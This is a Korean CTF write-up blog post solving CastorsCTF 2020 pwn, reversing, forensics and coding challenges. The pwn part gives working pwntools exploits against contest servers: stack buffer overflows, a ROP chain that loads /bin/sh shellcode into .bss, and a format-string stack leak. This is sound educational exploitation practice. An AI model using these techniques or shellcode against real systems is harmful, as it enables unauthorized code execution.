본문 바로가기
CTF

[CTF] CastorsCTF 2020 Write up

by snwo 2020. 6. 1.

개인1856점, 총 4974점을따서 43등을 했습니다.

첫날 서버오류로 디코방에서 문제를 받고

운영자에게 DM으로 flag 를 인증한게 기억에납니다.

점수별 난이도조절을 실패해서 43등까지 온것같네요.


  • pwn

abcbof

babybof1

babybof1 pt2

babybof2

babyfmt

 

  • rev

Vault0

Vault1

Stacking

Xor

Reverse-me

 

  • forensic

Manipulation

Leftovers

 

  • coding

arithmetics

 



    PWNABLE    


abcbof

gets 로 입력을 받고 [rbp-0x110]

[rbp-0x10] 과 'CyberCastors' 을 비교합니다.

gets 로 입력을 받으니, dummy 값 0x100 개를 채우고

rbp-0x10 값을 CyberCastors 로 변조하면 되겠습니다.


from pwn import *

r=remote("chals20.cybercastors.com",14424)
#r=process("./abcbof")

pay=""
pay+='x'*0x100
pay+="CyberCastors"+'\x00'

r.sendline(pay)

r.interactive()
​


babybof1

이름을 입력해달라 두 줄을 출력해주고, 

gets 함수로 입력을 받고 종료합니다. [rbp-0x100]

 

CANARY 가 없고, get_flag 라는 원샷가젯도 주어져있으니,

간단하게 dummy(100+8)+get_flag 이렇게 페이로드를 날려주겠습니다.


from pwn import *

r=remote("chals20.cybercastors.com",14425)
#r=process("./babybof")
b=ELF("./babybof")

pay=""
pay+='x'*0x100
pay+='x'*0x8
pay+=p64(b.symbols['get_flag'])

r.sendline(pay)
r.interactive()


babybof1 pt2

아까와 똑같은 바이너리를 줍니다. (???)

 

babybof : castorsCTF{th4t's_c00l_but_c4n_y0u_g3t_4_sh3ll_n0w?}

 

babybof1 의 flag 가 힌트라고했다.

shell 을 실행시킬수있냐고 물어보는것같다.

NX 가 걸려있지않으니, pop rdi;ret 가젯을 찾고,

gets 함수로 bss 쉘코드를 쓰고, bss 로 리턴하자.


snwo@snwo:~/Documents/GitHub/CTF/2020/CastorsCTF/pwn$ ROPgadget --binary babybof | grep 'pop rdi'
0x00000000004007f3 : pop rdi ; ret

 

찾았다. 가젯찾는것보다 색깔넣는게 더 힘들다.


from pwn import *
r=remote('chals20.cybercastors.com',14425)
b=ELF('./babybof')

prdi=0x4007f3
bss=0x601068
shellcode='\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05'

pay=""
pay+='x'*0x100
pay+='x'*0x8
pay+=p64(prdi)
pay+=p64(bss)
pay+=p64(b.symbols['gets'])
pay+=p64(bss)

r.sendline(pay)
r.sendline(shellcode)

r.interactive()


babybof2

아무런보호기법이 적용되어있지않아서 BOF 를 마구 일으킬 수 있다.


winnersLevel 함수가 주어져있다. 

인자한개를 받는데, 0x182 or 0x102 와 일치하면

시스템함수를 실행시켜준다. (cat ./flag.txt)

32bit 파일이므로, ebp+8 에 인자를 입력하면되겠다.


from pwn import *

#r=remote("chals20.cybercastors.com",14434)
r=process("./winners")
b=ELF("./winners")

pay=""
pay+='x'*0x48
pay+='x'*4
pay+=p32(b.symbols['winnersLevel'])
pay+=p32(0)
pay+=p32(0x102)

r.sendline(pay)
r.interactive()

0 을 p32해서 넣어주는 이유는,

winnersLevel 함수로 리턴해 push ebp 를 실행했을때,

low - [ebp] [0] [0x102] - high

이런식으로 스택이쌓인다.

ebp+8 부터 첫번째인자이기때문에

ebp+8 에 0x102 가 위치하게해야한다.

 

(정상적으로 호출했을때, ebp+4 자리에는 리턴주소가 있어야한다)



babyfmt

undefined8 main(void)

{
  FILE *__stream;
  long in_FS_OFFSET;
  undefined local_218 [256];
  char local_118 [264];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  __stream = fopen("flag.txt","r");
  if (__stream == (FILE *)0x0) {
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  __isoc99_fscanf(__stream,&DAT_001009e3,local_218);
  fclose(__stream);
  printf("Hello everyone, this is babyfmt! say something: ");
  fgets(local_118,0xff,stdin);
  printf(local_118);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

fgets 로 입력을 받고, 서식문자없이 그대로 출력해준다.

flag 는 읽고난뒤에 local_218 에 저장된다.

 

FSB 가 일어나므로, %x %x %x ... 이렇게 입력하면

언젠간 스택에있는 flag 를 만날수있게된다.


from pwn import *

r=remote("chals20.cybercastors.com",14426)

fmt='%7$lx '
pay=""
for i in range(7,13):
	fmt=fmt.replace(str(i),str(i+1))
	pay+=fmt

r.sendline(pay)
sleep(1)
ss=r.recvuntil(": ")
ss=r.recvline()
ss=ss.split()

flag=''

for i in range(len(ss)):
    temp=''
    for j in range(0,len(ss[i]),2):
        temp=chr(int(ss[i][j:j+2],16))+temp
    flag+=temp
print(flag)

rsp+4 부터 차례대로 출력하는데, 8번째부터 플래그가 나왔다.

차례대로 받아와서 문자화해주자.




    REVERSING    


Vault0

def checkpass():
    _input = input("Enter the password: ").encode()
    if _input[0:4].hex() == "63617374":
        if _input[4:9].hex() == "6f72734354":
            if _input[9:14].hex() == "467b723178":
                if _input[14:17].hex() == "54795f":
                    if _input[17:20].hex() == "6d316e":
                        if _input[20:27].hex() == "757433735f6774":
                            if _input[27:35].hex() == "5f73317874795f6d":
                                if _input[35:40].hex() == "316e757433":
                                    if _input[40:].hex() == "737d":
                                        return True

def main():
    global access
    access = checkpass()
    if access:
        print("Yeah...okay. You got it!")
    else:
        print("Lol...try again...")

access = False
main()

인풋체크소스가 주어진다.

인풋과 비교하는 checkpass() 함수를 보면,

인풋을 hex 값으로 바꾼값과 특정 hex 들을 비교하고있다.

0부터 순서대로 비교하고있으니, 헥스값을 모아서 문자화하면 된다.


flag='636173746f72734354467b72317854795f6d316e757433735f67745f73317874795f6d316e757433737d'
def hextostr(x):
    return ''.join(chr(int(''.join(i),16)) for i in zip(*[iter(x)]*2))
print(hextostr(flag))

인터넷에서 헥스값들을 문자로 바꾸는 소스를 긁어왔는데,

그냥 binascii 모듈에서 unhexlify() 하면 된다.



Vault1

import base64

def xor(s1,s2):
    return ''.join(chr(ord(a) ^ ord(b)) for a,b in zip(s1,s2))

def checkpass():
    _input = input("Enter the password: ")
    key = "promortyusvatofacidpromortyusvato"
    encoded = str.encode(xor(key, _input))
    result = base64.b64encode(encoded, altchars=None)
    if result == b'ExMcGQAABzohNQ0TRQwtPidYAS8gXg4kAkcYISwOUQYS':
        return True
    else:
        return False

def main():
    global access
    access = checkpass()
    if access:
        print("Yeah...okay. You got it!")
    else:
        print("Lol...try again...")

access = False
main()

비슷한 인풋체크소스이다.

입력한 문자열을 한글자씩 key 와 XOR 연산 후,

base64 인코딩 후 b'Ex~~' 와 같으면 통과한다.

 

조건에 맞는 문자열을 얻으려면,

b'Ex~~' 를 다시 base64 디코딩하고,

key값과 한글자씩 XOR 하면 flag 가 나오겠다.


import base64

flag=''
key = "promortyusvatofacidpromortyusvato"
res=base64.b64decode(b'ExMcGQAABzohNQ0TRQwtPidYAS8gXg4kAkcYISwOUQYS',altchars=None)

flag=''.join(chr(ord(a)^ord(b)) for a,b in zip(key,res))
print(flag)


Stacking

0x0000555555554741 <+23>:	mov    BYTE PTR [rbp-0x40],0x63
   0x0000555555554745 <+27>:	mov    BYTE PTR [rbp-0x3f],0x61
   0x0000555555554749 <+31>:	mov    BYTE PTR [rbp-0x3e],0x73
   0x000055555555474d <+35>:	mov    BYTE PTR [rbp-0x3d],0x74
   0x0000555555554751 <+39>:	mov    BYTE PTR [rbp-0x3c],0x6f
   0x0000555555554755 <+43>:	mov    BYTE PTR [rbp-0x3b],0x72
   0x0000555555554759 <+47>:	mov    BYTE PTR [rbp-0x3a],0x73
   0x000055555555475d <+51>:	mov    BYTE PTR [rbp-0x39],0x43
   0x0000555555554761 <+55>:	mov    BYTE PTR [rbp-0x38],0x54
   0x0000555555554765 <+59>:	mov    BYTE PTR [rbp-0x37],0x46
   0x0000555555554769 <+63>:	mov    BYTE PTR [rbp-0x36],0x7b
   0x000055555555476d <+67>:	mov    BYTE PTR [rbp-0x35],0x77
   0x0000555555554771 <+71>:	mov    BYTE PTR [rbp-0x34],0x33
   0x0000555555554775 <+75>:	mov    BYTE PTR [rbp-0x33],0x6c
   0x0000555555554779 <+79>:	mov    BYTE PTR [rbp-0x32],0x63
   0x000055555555477d <+83>:	mov    BYTE PTR [rbp-0x31],0x30
   0x0000555555554781 <+87>:	mov    BYTE PTR [rbp-0x30],0x6d
   0x0000555555554785 <+91>:	mov    BYTE PTR [rbp-0x2f],0x33
   0x0000555555554789 <+95>:	mov    BYTE PTR [rbp-0x2e],0x5f
   0x000055555555478d <+99>:	mov    BYTE PTR [rbp-0x2d],0x37
   0x0000555555554791 <+103>:	mov    BYTE PTR [rbp-0x2c],0x30
   0x0000555555554795 <+107>:	mov    BYTE PTR [rbp-0x2b],0x5f
   0x0000555555554799 <+111>:	mov    BYTE PTR [rbp-0x2a],0x72
   0x000055555555479d <+115>:	mov    BYTE PTR [rbp-0x29],0x33
   0x00005555555547a1 <+119>:	mov    BYTE PTR [rbp-0x28],0x76
   0x00005555555547a5 <+123>:	mov    BYTE PTR [rbp-0x27],0x33
   0x00005555555547a9 <+127>:	mov    BYTE PTR [rbp-0x26],0x72
   0x00005555555547ad <+131>:	mov    BYTE PTR [rbp-0x25],0x35
   0x00005555555547b1 <+135>:	mov    BYTE PTR [rbp-0x24],0x33
   0x00005555555547b5 <+139>:	mov    BYTE PTR [rbp-0x23],0x5f
   0x00005555555547b9 <+143>:	mov    BYTE PTR [rbp-0x22],0x33
   0x00005555555547bd <+147>:	mov    BYTE PTR [rbp-0x21],0x6e
   0x00005555555547c1 <+151>:	mov    BYTE PTR [rbp-0x20],0x36
   0x00005555555547c5 <+155>:	mov    BYTE PTR [rbp-0x1f],0x31
   0x00005555555547c9 <+159>:	mov    BYTE PTR [rbp-0x1e],0x6e
   0x00005555555547cd <+163>:	mov    BYTE PTR [rbp-0x1d],0x33
   0x00005555555547d1 <+167>:	mov    BYTE PTR [rbp-0x1c],0x33
   0x00005555555547d5 <+171>:	mov    BYTE PTR [rbp-0x1b],0x72
   0x00005555555547d9 <+175>:	mov    BYTE PTR [rbp-0x1a],0x31
   0x00005555555547dd <+179>:	mov    BYTE PTR [rbp-0x19],0x6e
   0x00005555555547e1 <+183>:	mov    BYTE PTR [rbp-0x18],0x36
   0x00005555555547e5 <+187>:	mov    BYTE PTR [rbp-0x17],0x7d
   0x00005555555547e9 <+191>:	mov    DWORD PTR [rbp-0x44],0x14
   0x00005555555547f0 <+198>:	mov    DWORD PTR [rbp-0x4c],0x0

main 함수에서 호출하는 func 함수를 보면,

스택에 아스키코드값범위의 값들을 쌓고있는걸 볼 수 있다.

rbp-0x40 부터 시작이니, rbp-0x17 까지 값을 담기때문에

 

func+191 쯤에 BP를 걸고 실행한뒤,

문자열 시작인 rbp-0x40부터 값을 확인해보자.




XoR

undefined8 FUN_001008b1(void)

{
  int iVar1;
  long in_FS_OFFSET;
  char local_48 [56];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  printf("Enter flag: ");
  fgets(local_48,0x2c,stdin);
  iVar1 = FUN_0010080a(local_48);
  if (iVar1 == 0) {
    puts("Correct!");
  }
  else {
    puts("Wrong flag!");
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

flag 를 입력받고 비교하는 프로그램이다.

길이는 0x2c, 0010080a 함수에서 비교를 하네요.


ulong FUN_0010080a(char *param_1)

{
  int iVar1;
  size_t sVar2;
  int i;
  
  sVar2 = strlen(param_1);
  for(i=0;i<sVar2;i++) {
    param_1[i] = ( param_1[i] ^ i + 0xa ) -2;
  }
  iVar1 = strcmp(param_1,&DAT_00301020);
  return (ulong)(iVar1 != 0);
}

0010080a 함수입니다. 문자열 배열을 s 라하면,

s[x]=(s[x]^i+10 )-2

(xor 연산보다 + 연산이 먼저일어납니다)

 

이렇게암호화를 마친 문자열은 $DAT_00301020 에있는 문자열과 비교를 합니다

67687d775f7b615044536d6b24636826722b41682d26467c147a115015101d521e

복호화하려면, 암호화문자열을 en 이라고할때

 

flag[x] = (en[x:x+2]+2)^i+10

 

이렇게하면 암호화문자열을 flag 로 복호화할 수 있습니다.


en='67687d775f7b615044536d6b24636826722b41682d26467c147a115015101d521e'
flag=''
c=0
for i in range(0,len(en),2):
    flag+=chr((int(en[i:i+2],16)+2)^c+10)
    c+=1

print(flag)


Reverse-me

undefined8 FUN_00100b3e(void)

{
  FILE *__stream;
  size_t sVar1;
  undefined8 uVar2;
  long in_FS_OFFSET;
  int local_74;
  char local_68 [32];
  char local_48 [40];
  long local_20;
  
  local_20 = *(long *)(in_FS_OFFSET + 0x28);
  __stream = fopen("flag.txt","r");
  if (__stream == (FILE *)0x0) {
    printf("flag.txt not found.");
    fflush(stdout);
    uVar2 = 1;
  }
  else {
    fgets(&DAT_00302030,0x1e,__stream);
    fclose(__stream);
    FUN_0010096a(&DAT_00302030);
    strcpy(local_68,&DAT_00302030);
    FUN_00100a68(local_68);
    FUN_001009c7(local_68);
    puts("System Error...\nDumping memory...");
    local_74 = 0;
    while( true ) {
      sVar1 = strlen(local_68);
      if (sVar1 <= (ulong)(long)local_74) break;
      printf("%x ",(ulong)(uint)(int)local_68[local_74]);
      local_74 = local_74 + 1;
    }
    printf("\nEnter password: ");
    fflush(stdout);
    fgets(local_48,0x32,stdin);
    FUN_0010096a(local_48);
    FUN_00100a68(local_48);
    FUN_001009c7(local_48);
    FUN_00100abf(local_48,local_68,local_68);
    uVar2 = 0;
  }
  if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return uVar2;
}

먼저 flag 파일을 읽어서, 0x100a68, 0x1009c7 함수를 거친뒤

암호화된 문자들을 출력해줍니다.

 

그리고 입력을 받은뒤 0x10096a, 0x100a68, 0x1009c7 함수를 거친뒤

0x100abf 함수로 비교를 합니다.


[0x10096a]

 

문자열끝에 개행문자를 널문자로 바꾸는 함수입니다.


[0x100a68]

 

문자마다 0x2 를 더하는 함수입니다.

 


[0x1009c7]

void FUN_001009c7(char *param_1)

{
  size_t sVar1;
  int local_10;
  
  sVar1 = strlen(param_1);
  local_10 = 0;
  while (local_10 < (int)sVar1) {
    if (('`' < param_1[local_10]) && (param_1[local_10] < '{')) {
      param_1[local_10] =
           (char)((int)param_1[local_10] + -0x57) +
           (char)(((int)param_1[local_10] + -0x57) / 0x1a) * -0x1a + 'a';
    }
    local_10 = local_10 + 1;
  }
  return;
}

a~z 범위의 문자이면, 0x57 (87) 을 빼고,

나머지 26 연산을 한뒤 97 을 더해준다.

 

이것은 키가 10인 카이사르 암호화인걸 알 수 있다.


[0x100abf]

void FUN_00100abf(char *param_1,char *param_2)

{
  int iVar1;
  
  iVar1 = strcmp(param_1,param_2);
  if (iVar1 == 0) {
    puts("Correct!");
    printf("castorsCTF{%s}",&DAT_00302030);
    fflush(stdout);
  }
  else {
    puts("Wrong!");
    fflush(stdout);
  }
  return;
}

 

 

flag 와 입력한문자열이 맞으면 flag 를 출력해준다.


from pwn import *

r=remote("chals20.cybercastors.com",14427)
r.recvuntil("memory...\n")

flag=r.recvline().strip()

k='abcdefghijklmnopqrstuvwxyz'
key=10
flag=flag.split()

for i in range(len(flag)):
    if chr(int(flag[i],16)) in k:
        flag[i]=chr(ord(k[int(flag[i],16)-0x61-key])-2)
    else:
        flag[i]=chr(int(flag[i],16)-2)

#print(''.join(flag))

r.sendline(''.join(flag))
r.interactive()

카이사르 암호화할때는 문자에 key 를 더해서 나머지 26 한것처럼,

복호화할때는 문자에 key 를 빼서 나머지 26 을 하면 된다.

0x100a68 함수에서 2를 더해줬으므로, 

카이사르복호화 후, 2를 빼줘야한다.




     FORENSIC     


manipulation

손상된 pooh.jpg 파일을 준다.


ascii코드부분을 보면, offset + hexdata + ascii 가 ascii 부분에 나타난 걸 볼 수 있다.

찾아봤더니, 00000000 은 파일끝에 있더라, 한줄씩 읽어와서 데이터부분만 붙여가지고

새로운 jpg 파일을 만들어보도록 하자.


from binascii import unhexlify

f=open("pooh.jpg","r")


hexdata=""
while 1:
    t=f.readline().split()
    if t[0]=='0000ccc0:':
        hexdata+=t[1]+t[2]+t[3]
        break
    for j in range(1,9):
        hexdata+=t[j]

firstformat="ffd8ffe000104a46494600010101012c"
hexdata=firstformat+hexdata
hexdata=unhexlify(hexdata)
f.close()

f=open("pooh_solve.jpg","wb")
f.write(hexdata)
f.close()

아까말했다싶이, 마지막부분은 뒤에있어서 값추출이 끝난후 앞에다 붙여주었고,

마지막줄에는 hexdata 가 6byte 밖에없기에 수동으로 붙여주었다.

 



Leftovers

inturrupts.pcapng 파일을 준다.

와이어샤크로 열 수 있는 패킷파일인것같다.


usb.transfer_type 이 1인것만 필터링해서 찾아봤다.

1 은 usb_interrupt in 을 의미하는데, 키보드눌렀을때같다.


아무거나 들어가서 leftover data 를 봤다.

젤왼쪽 20 은 shift 를 눌렀다는걸 의미하고,

2바이트씩해서 3번째 구간은 키를 의미한다.

키 리스트를 보면 30h 는 ']' 을 의미한다고 되어있다.

shift+] 이니까 '}' 이 입력된걸 알 수 있다.

 

알았다. 이것은 플래그 마지막부분이다.


tshark -r ./interrupts.pcapng -T fields -e usb.capdata > data.txt

이렇게 leftoverdata 만 추출할 수 있다.

이 데이터는 콜론 ':' 으로 구별되어있고,

이상한데이터도 약간 섞여 있어서, 팀원이 데이터를 뽑아주었다.

(thanks to ov3r_h4ul)

 

이 정리된 데이터를 기반으로 키맵에서 데이터를 추출해보자.


mappings = {
    "00":" ",
    "04":"a",
    "05":"b",
    "06":"c",
    "07":"d",
    "08":"e",
    "09":"f",
    "0a":"g",
    "0b":"h",
    "0c":"i",
    "0d":"j",
    "0e":"k",
    "0f":"l",
    "10":"m",
    "11":"n",
    "12":"o",
    "13":"p",
    "14":"q",
    "15":"r",
    "16":"s",
    "17":"t",
    "18":"u",
    "19":"v",
    "1a":"w",
    "1b":"x",
    "1c":"y",
    "1d":"z",
    "1e":"1",
    "1f":"2",
    "20":"3",
    "21":"4",
    "22":"5",
    "23":"6",
    "24":"7",
    "25":"8",
    "26":"9",
    "27":"0",
    "28":"\n",
    "29":"esc",
    "2a":"back",
    "2b":"tab",
    "2c":" ",
    "2d":"_",
    "2e":"=",
    "2f":"{",
    "30":"}",
    "31":"\\",
    "32":"Non-US",
    "33":";",
    "34":"'",
    "35":"test1",
    "36":",",
    "37":".",
    "38":"/",
    "39":"Capslock",
    "3a":"F1",
    "3b":"F2",
    "3c":"F3",
    "3d":"F4",
    "3e":"F5",
    "3f":"F6",
    "40":"F7",
    "41":"F8",
    "42":"F9",
    "43":"F10",
    "44":"F11",
    "45":"F12",
    "46":"PrintScreen",
    "47":"ScrollLock",
    "48":"Pause",
    "49":"Insert",
    "4a":"Home",
    "4b":"PageUp",
    "4c":"DeleteForward",
    "4d":"End",
    "4e":"PageDown",
    "4f":"RightArrow",
    "50":"LeftArrow",
    "51":"DownArrow",
    "52":"UpArrow",
}
alphabet="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
f = open("data.txt","r")
data = f.readlines()
re = ""
for l in data:
    point = l[4]+l[5]
    if point in mappings:
        re += mappings[point]
    if l[0]+l[1]=='20' and re[len(re)-1] in alphabet:
        re=re[:len(re)-1]+chr(ord(re[len(re)-1])-32)

print re

 

what doo yoo   thh nng yy uu will ff nnn  herr  /  thh ss /  c ssto ssCapslockctfCapslock {1stiswhatyoo want }

 

결과가 뚜렷하지않아도, 우리는 알 수 있다.

castorsCTF{1stiswhatyoowant}




       CODING       


arithmetics

서버에 nc 로 접속하면 사칙연산문제를 물어본다.

제한시간내에 올바른답을 안하면 종료해버린다.

그렇게 100문제정도 물어보게되는데, 내가하려면 힘드니

파이썬으로 풀어봤다.


from pwn import *

r=remote("chals20.cybercastors.com",14429)
r.recv()
r.sendline("\n")
d={'one':'1','two':'2','three':'3','four':'4','five':'5','six':'6','seven':'7','eight':'8','nine':'9'}
d2={'multiplied-by':'*','plus':'+','divided-by':'//','minus':'-'}
c=0
def calc(a,op,b):
    global d
    global d2
    if a in d:
        a=d[a]
    if b in d:
        b=d[b]
    if op in d2:
        op=d2[op]

    if op=='+':
        return int(a)+int(b)
    if op=='-':
        return int(a)-int(b)
    if op=='//':
        return int(a)/int(b)
    if op=='*':
        return int(a)*int(b)


for i in range(100):
    s=r.recv()
    s=s.split()
    print(s)
    r.sendline(str(calc(s[2],s[3],s[4])))
    print(r.recvline(timeout=1)+str(i))

r.interactive()

 나누기연산이 // 으로 되어있고, 중간에 숫자가 영어로 나온다던지,

사칙연산기호가 영어로 나오는 혼종들을 만날때를 대비해

딕셔너리를 준비했다.

100문제푸니까 flag 를 주더라!